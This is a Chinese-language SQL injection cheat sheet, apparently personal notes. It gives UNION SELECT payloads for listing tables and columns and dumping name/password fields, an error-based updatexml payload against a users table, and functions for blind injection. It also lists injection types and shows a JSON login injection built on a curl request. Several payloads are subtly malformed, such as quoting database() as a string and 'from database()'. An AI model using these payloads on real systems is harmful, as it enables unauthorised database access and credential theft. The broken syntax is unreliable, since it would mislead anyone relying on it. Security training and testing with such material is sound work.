# 基本语句

备忘

1
2
3
4
5
6
7
8
9
10
11
table_schema:库名
table_name:表名
column_name:列名

union select 1,2,3,4

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='database()'

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='tablename'

union select 1,name,password,4 from database()

# 函数

# 截取函数

1
2
3
4
5
left(‘admin’,1):左截取,从左边截取admin字符串,截取一位。
right('admin',1):右截取
mid('admin',1,2):截取admin字符串,从第一位开始截取,截取两位
substr('str',pos):截取从pos位置开始到最后的所有str字符串
substring('str',pos,len):
  • str 为列名 / 字符串

  • pos 为起始位置;mysql 中的起始位置 pos 是从 1 开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从 1 开始),反之如果起始位置 pos 为负数,那么 表示就从倒数第几个开始截取

  • len 为截取字符个数 / 长度。

# 判断函数

1
2
if(1=1,1,0):
case when 1=1 then 0 else 1 end:

# 报错函数

1
2
3
updatexml(1,concat(0x7e,注入语句,0x7e),1)=1

id=1'and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),31,32),0x7e),1)='1

# 提交方式

get,post,cookie,request,http 头等

# 数据类型

数字型,字符型,搜索型

# 查询方法

select,insert,delete,update,order by

# 回显、盲注

回显注入,无回显注入,延时注入,布尔注入

# 数据库类型

不同的数据库注入语法略有不同

# 扩展

加解密注入,json 注入,ladp 注入,dnslog 注入,二次注入,堆叠查询,文件读写

# JSON 注入

JSON 是独特的储存数据形式

1
2
3
4
5
curl -X POST https://api.zoomeye.org/user/login -d
{
"username": "foo@bar.com",
"password": "foobar"
}

注入点就可以在 foobar 后面

1
"username": "foo@bar.com' and 1=1#"